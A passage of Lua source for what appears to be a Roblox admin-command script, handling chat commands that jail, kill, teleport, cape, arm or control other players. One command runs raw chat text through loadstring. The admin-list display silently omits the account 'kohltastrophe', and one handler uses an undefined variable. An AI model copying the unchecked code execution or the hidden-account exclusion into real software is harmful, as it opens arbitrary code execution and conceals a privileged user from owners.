  445. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  446. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  447. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  448. end end
  449.  
  450. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  451. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  452. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  453. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  454. end
  455.  
  456. if msg:lower() == "tools" or msg:lower() == "toollist" then
  457. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  458. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  459. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  460. end
  461.  
  462. if msg:lower():sub(1,2) == "s " then
  463. coroutine.resume(coroutine.create(function()
  464. Output(msg:sub(3), plr)
  465. if script:findFirstChild("ScriptBase") then
  466. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  467. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  468. else loadstring(msg:sub(3))()
  469. end
  470. end))
  471. end
  472.  
  473. if msg:lower():sub(1,3) == "ls " then
  474. coroutine.resume(coroutine.create(function()
  475. if script:findFirstChild("LocalScriptBase") then
  476. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  477. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  478. end
  479. end))
  480. end
  481.  
  482. if msg:lower():sub(1,6) == "lsplr " then
  483. local chk1 = msg:lower():sub(7):find(" ") + 6
  484. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  485. for i, v in pairs(plrz) do
  486. coroutine.resume(coroutine.create(function()
  487. if v and v:findFirstChild("PlayerGui") then
  488. if script:findFirstChild("LocalScriptBase") then
  489. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  490. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  491. end
  492. end
  493. end))
  494. end
  495. end
  496.  
  497. if msg:lower():sub(1,4) == "ins " then
  498. coroutine.resume(coroutine.create(function()
  499. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  500. if obj and #obj:children() >= 1 and plr.Character then
  501. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  502. end
  503. end))
  504. end
  505.  
  506. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  507. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  508. RemoveMessage()
  509. objects = {}
  510. end
  511.  
  512. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  513. game.Lighting.Ambient = origsettings.abt
  514. game.Lighting.Brightness = origsettings.brt
  515. game.Lighting.TimeOfDay = origsettings.time
  516. game.Lighting.FogColor = origsettings.fclr
  517. game.Lighting.FogEnd = origsettings.fe
  518. game.Lighting.FogStart = origsettings.fs
  519. for i, v in pairs(lobjs) do v:Destroy() end
  520. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  521. end
  522.  
  523. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  524. coroutine.resume(coroutine.create(function()
  525. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  526. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  527. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  528. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  529. end))
  530. end
  531.  
  532. if msg:lower():sub(1,10) == "countdown " then
  533. local num = math.min(tonumber(msg:sub(11)),120)
  534. for i = num, 1, -1 do
  535. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  536. wait(1)
  537. end
  538. end
  539.  
  540. if msg:lower():sub(1,3) == "tm " then
  541. local chk1 = msg:lower():sub(4):find(" ") + 3
  542. local num = tonumber(msg:sub(4,chk1-1))
  543. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  544. end
  545.  
  546. if msg:lower():sub(1,2) == "m " then
  547. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  548. end
  549.  
  550. if msg:lower():sub(1,2) == "h " then
  551. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  552. end
  553.  
  554. if msg:lower():sub(1,3) == "pm " then
  555. local chk1 = msg:lower():sub(4):find(" ") + 3
  556. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  557. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  558. end
  559.  
  560. if msg:lower():sub(1,11) == "resetstats " then
  561. local plrz = GetPlr(plr, msg:lower():sub(12))
  562. for i, v in pairs(plrz) do
  563. coroutine.resume(coroutine.create(function()
  564. if v and v:findFirstChild("leaderstats") then
  565. for a, q in pairs(v.leaderstats:children()) do
  566. if q:IsA("IntValue") then q.Value = 0 end
  567. end
  568. end
  569. end))
  570. end
  571. end
  572.  
  573. if msg:lower():sub(1,5) == "gear " then
  574. local chk1 = msg:lower():sub(6):find(" ") + 5
  575. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  576. for i, v in pairs(plrz) do
  577. coroutine.resume(coroutine.create(function()
  578. if v and v:findFirstChild("Backpack") then
  579. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  580. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  581. obj:Destroy()
  582. end
  583. end))
  584. end
  585. end
  586.  
  587. if msg:lower():sub(1,4) == "hat " then
  588. local chk1 = msg:lower():sub(5):find(" ") + 4
  589. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  590. for i, v in pairs(plrz) do
  591. coroutine.resume(coroutine.create(function()
  592. if v and v.Character then
  593. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  594. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  595. obj:Destroy()
  596. end
  597. end))
  598. end
  599. end
  600.  
  601. if msg:lower():sub(1,5) == "cape " then
  602. local chk1 = msg:lower():sub(6):find(" ")
  603. local plrz = GetPlr(plr, msg:lower():sub(6))
  604. local str = "torso.BrickColor"
  605. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  606. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  607. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  608. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  609. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  610. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  611. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  612. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  613. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  614. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  615. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  616. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  617. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  618. if BrickColor.new(teststr) ~= nil then str = teststr end
  619. end
  620. for i, v in pairs(plrz) do
  621. coroutine.resume(coroutine.create(function()
  622. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  623. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  624. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  625. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  626. local torso = plr.Character.Torso
  627. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  628. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  629. p.Size = Vector3.new(.2,.2,.2)
  630. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  631. local motor1 = Instance.new("Motor", p)
  632. motor1.Part0 = p
  633. motor1.Part1 = torso
  634. motor1.MaxVelocity = .01
  635. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  636. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  637. local wave = false
  638. repeat wait(1/44)
  639. local ang = 0.1
  640. local oldmag = torso.Velocity.magnitude
  641. local mv = .002
  642. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  643. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  644. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  645. motor1.DesiredAngle = -ang
  646. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  647. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  648. if torso.Velocity.magnitude < .1 then wait(.1) end
  649. until not p or p.Parent ~= torso.Parent
  650. script:Destroy()
  651. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  652. end
  653. end))
  654. end
  655. end
  656.  
  657. if msg:lower():sub(1,7) == "uncape " then
  658. local plrz = GetPlr(plr, msg:lower():sub(8))
  659. for i, v in pairs(plrz) do
  660. coroutine.resume(coroutine.create(function()
  661. if v and v:findFirstChild("PlayerGui") and v.Character then
  662. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  663. end
  664. end))
  665. end
  666. end
  667.  
  668. if msg:lower():sub(1,7) == "noclip " then
  669. local plrz = GetPlr(plr, msg:lower():sub(8))
  670. for i, v in pairs(plrz) do
  671. coroutine.resume(coroutine.create(function()
  672. if v and v:findFirstChild("PlayerGui") then
  673. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  674. cl.Parent = v.PlayerGui cl.Disabled = false
  675. end
  676. end))
  677. end
  678. end
  679.  
  680. if msg:lower():sub(1,5) == "clip " then
  681. local plrz = GetPlr(plr, msg:lower():sub(6))
  682. for i, v in pairs(plrz) do
  683. coroutine.resume(coroutine.create(function()
  684. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  685. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  686. v.Character.Torso.Anchored = false
  687. wait(.1) v.Character.Humanoid.PlatformStand = false
  688. end
  689. end))
  690. end
  691. end
  692.  
  693. if msg:lower():sub(1,5) == "jail " then
  694. local plrz = GetPlr(plr, msg:lower():sub(6))
  695. for i, v in pairs(plrz) do
  696. coroutine.resume(coroutine.create(function()
  697. if v and v.Character and v.Character:findFirstChild("Torso") then
  698. local vname = v.Name
  699. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  700. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  701. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  702. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  703. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  704. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  705. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  706. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  707. end)
  708. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  709. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  710. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  711. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  712. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  713. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  714. local msh2 = msh:Clone() msh2.Parent = back
  715. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  716. local msh4 = msh3:Clone() msh4.Parent = left
  717. v.Character.Torso.CFrame = cf
  718. end
  719. end))
  720. end
  721. end
  722.  
  723. if msg:lower():sub(1,7) == "unjail " then
  724. local plrz = GetPlr(plr, msg:lower():sub(8))
  725. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  726. end
  727.  
  728. if msg:lower():sub(1,11) == "starttools " then
  729. local plrz = GetPlr(plr, msg:lower():sub(12))
  730. for i, v in pairs(plrz) do
  731. coroutine.resume(coroutine.create(function()
  732. if v and v:findFirstChild("Backpack") then
  733. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  734. end
  735. end))
  736. end
  737. end
  738.  
  739. if msg:lower():sub(1,6) == "sword " then
  740. local plrz = GetPlr(plr, msg:lower():sub(7))
  741. for i, v in pairs(plrz) do
  742. coroutine.resume(coroutine.create(function()
  743. if v and v:findFirstChild("Backpack") then
  744. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  745. sword.GripForward = Vector3.new(-1,0,0)
  746. sword.GripPos = Vector3.new(0,0,-1.5)
  747. sword.GripRight = Vector3.new(0,1,0)
  748. sword.GripUp = Vector3.new(0,0,1)
  749. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  750. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  751. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  752. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  753. local Damage = 15
  754. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  755. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  756. SlashSound.Volume = 1
  757. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  758. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  759. LungeSound.Volume = 1
  760. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  761. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  762. UnsheathSound.Volume = 1
  763. local last = 0
  764. script.Parent.Handle.Touched:connect(function(hit)
  765. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  766. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  767. hit.Parent.Humanoid:TakeDamage(Damage)
  768. end
  769. end)
  770. script.Parent.Activated:connect(function()
  771. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  772. script.Parent.Enabled = false
  773. local tick = game:service("RunService").Stepped:wait()
  774. if tick - last <= .2 then
  775. LungeSound:play()
  776. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  777. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  778. wait(.2)
  779. script.Parent.GripForward = Vector3.new(0,0,1)
  780. script.Parent.GripRight = Vector3.new(0,-1,0)
  781. script.Parent.GripUp = Vector3.new(-1,0,0)
  782. wait(.3)
  783. frc:Destroy() wait(.5)
  784. script.Parent.GripForward = Vector3.new(-1,0,0)
  785. script.Parent.GripRight = Vector3.new(0,1,0)
  786. script.Parent.GripUp = Vector3.new(0,0,1)
  787. else
  788. SlashSound:play()
  789. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  790. end
  791. last = tick
  792. script.Parent.Enabled = true
  793. end)
  794. script.Parent.Equipped:connect(function(mouse)
  795. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  796. UnsheathSound:play()
  797. script.Parent.Enabled = true
  798. if not mouse then return end
  799. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  800. end)]] cl.Disabled = false
  801. end
  802. end))
  803. end
  804. end
  805.  
  806. if msg:lower():sub(1,6) == "clone " then
  807. local plrz = GetPlr(plr, msg:lower():sub(7))
  808. for i, v in pairs(plrz) do
  809. coroutine.resume(coroutine.create(function()
  810. if v and v.Character then
  811. v.Character.Archivable = true
  812. local cl = v.Character:Clone()
  813. table.insert(objects,cl)
  814. cl.Parent = game.Workspace
  815. cl:MoveTo(v.Character:GetModelCFrame().p)
  816. cl:MakeJoints()
  817. v.Character.Archivable = false
  818. end
  819. end))
  820. end
  821. end
  822.  
  823. if msg:lower():sub(1,8) == "control " then
  824. local plrz = GetPlr(plr, msg:lower():sub(9))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v.Character then
  828. v.Character.Humanoid.PlatformStand = true
  829. local w = Instance.new("Weld", plr.Character.Torso )
  830. w.Part0 = plr.Character.Torso
  831. w.Part1 = v.Character.Torso
  832. local w2 = Instance.new("Weld", plr.Character.Head)
  833. w2.Part0 = plr.Character.Head
  834. w2.Part1 = v.Character.Head
  835. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  836. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  837. w3.Part1 = v.Character:findFirstChild("Right Arm")
  838. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  839. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  840. w4.Part1 = v.Character:findFirstChild("Left Arm")
  841. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  842. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  843. w5.Part1 = v.Character:findFirstChild("Right Leg")
  844. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  845. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  846. w6.Part1 = v.Character:findFirstChild("Left Leg")
  847. plr.Character.Head.face:Destroy()
  848. for i, p in pairs(v.Character:children()) do
  849. if p:IsA("BasePart") then
  850. p.CanCollide = false
  851. end
  852. end
  853. for i, p in pairs(plr.Character:children()) do
  854. if p:IsA("BasePart") then
  855. p.Transparency = 1
  856. elseif p:IsA("Hat") then
  857. p:Destroy()
  858. end
  859. end
  860. v.Character.Parent = plr.Character
  861. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  862. end
  863. end))
  864. end
  865. end
  866.  
  867. if msg:lower():sub(1,5) == "kill " then
  868. local plrz = GetPlr(plr, msg:lower():sub(6))
  869. for i, v in pairs(plrz) do
  870. coroutine.resume(coroutine.create(function()
  871. if v and v.Character then v.Character:BreakJoints() end
  872. end))
  873. end
  874. end
  875.  
  876. if msg:lower():sub(1,8) == "respawn " then
  877. local plrz = GetPlr(plr, msg:lower():sub(9))
  878. for i, v in pairs(plrz) do
  879. coroutine.resume(coroutine.create(function()
  880. if v and v.Character then v:LoadCharacter() end
  881. end))
  882. end
  883. end
  884.  
  885. if msg:lower():sub(1,5) == "trip " then
  886. local plrz = GetPlr(plr, msg:lower():sub(6))
  887. for i, v in pairs(plrz) do
  888. coroutine.resume(coroutine.create(function()
  889. if v and v.Character and v.Character:findFirstChild("Torso") then
  890. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  891. end
  892. end))
  893. end
  894. end
  895.  
  896. if msg:lower():sub(1,5) == "stun " then
  897. local plrz = GetPlr(plr, msg:lower():sub(6))
  898. for i, v in pairs(plrz) do
  899. coroutine.resume(coroutine.create(function()
  900. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  901. v.Character.Humanoid.PlatformStand = true
  902. end
  903. end))
  904. end
  905. end
  906.  
  907. if msg:lower():sub(1,7) == "unstun " then
  908. local plrz = GetPlr(plr, msg:lower():sub(8))
  909. for i, v in pairs(plrz) do
  910. coroutine.resume(coroutine.create(function()
  911. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  912. v.Character.Humanoid.PlatformStand = false
  913. end
  914. end))
  915. end
  916. end
  917.  
  918. if msg:lower():sub(1,5) == "jump " then
  919. local plrz = GetPlr(plr, msg:lower():sub(6))
  920. for i, v in pairs(plrz) do
  921. coroutine.resume(coroutine.create(function()
  922. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  923. v.Character.Humanoid.Jump = true
  924. end
  925. end))
  926. end
  927. end
  928.  
  929. if msg:lower():sub(1,4) == "sit " then
  930. local plrz = GetPlr(plr, msg:lower():sub(5))
  931. for i, v in pairs(plrz) do
  932. coroutine.resume(coroutine.create(function()
  933. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  934. v.Character.Humanoid.Sit = true
  935. end
  936. end))
  937. end
  938. end
  939.  
  940. if msg:lower():sub(1,10) == "invisible " then
  941. local plrz = GetPlr(plr, msg:lower():sub(11))
  942. for i, v in pairs(plrz) do
  943. coroutine.resume(coroutine.create(function()
  944. if v and v.Character then
  945. for a, obj in pairs(v.Character:children()) do
  946. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  947. end
  948. end
  949. end))
  950. end
  951. end
  952.  
  953. if msg:lower():sub(1,8) == "visible " then
  954. local plrz = GetPlr(plr, msg:lower():sub(9))
  955. for i, v in pairs(plrz) do
  956. coroutine.resume(coroutine.create(function()
  957. if v and v.Character then
  958. for a, obj in pairs(v.Character:children()) do
  959. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  960. end
  961. end
  962. end))
  963. end
  964. end
  965.  
  966. if msg:lower():sub(1,5) == "lock " then
  967. local plrz = GetPlr(plr, msg:lower():sub(6))
  968. for i, v in pairs(plrz) do
  969. coroutine.resume(coroutine.create(function()
  970. if v and v.Character then
  971. for a, obj in pairs(v.Character:children()) do
  972. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  973. end
  974. end
  975. end))
  976. end
  977. end
  978.  
  979. if msg:lower():sub(1,7) == "unlock " then
  980. local plrz = GetPlr(plr, msg:lower():sub(8))
  981. for i, v in pairs(plrz) do
  982. coroutine.resume(coroutine.create(function()
  983. if v and v.Character then
  984. for a, obj in pairs(v.Character:children()) do
  985. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  986. end
  987. end
  988. end))
  989. end
  990. end
  991.  
  992. if msg:lower():sub(1,8) == "explode " then
  993. local plrz = GetPlr(plr, msg:lower():sub(9))
  994. for i, v in pairs(plrz) do
  995. coroutine.resume(coroutine.create(function()
  996. if v and v.Character and v.Character:findFirstChild("Torso") then
  997. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  998. end
  999. end))
  1000. end
  1001. end
  1002.  
  1003. if msg:lower():sub(1,4) == "age " then
  1004. local plrz = GetPlr(plr, msg:lower():sub(5))
  1005. for i, v in pairs(plrz) do
  1006. coroutine.resume(coroutine.create(function()
  1007. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1008. end))
  1009. end
  1010. end
  1011.  
  1012. if msg:lower():sub(1,5) == "fire " then
  1013. local plrz = GetPlr(plr, msg:lower():sub(6))
  1014. for i, v in pairs(plrz) do
  1015. coroutine.resume(coroutine.create(function()
  1016. if v and v.Character and v.Character:findFirstChild("Torso") then
  1017. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1018. end
  1019. end))
  1020. end
  1021. end
  1022.  
  1023. if msg:lower():sub(1,7) == "unfire " then
  1024. local plrz = GetPlr(plr, msg:lower():sub(8))
  1025. for i, v in pairs(plrz) do
  1026. coroutine.resume(coroutine.create(function()
  1027. if v and v.Character and v.Character:findFirstChild("Torso") then
  1028. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1029. end
  1030. end))
  1031. end
  1032. end
  1033.  
  1034. if msg:lower():sub(1,6) == "smoke " then
  1035. local plrz = GetPlr(plr, msg:lower():sub(7))
  1036. for i, v in pairs(plrz) do
  1037. coroutine.resume(coroutine.create(function()
  1038. if v and v.Character and v.Character:findFirstChild("Torso") then
  1039. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
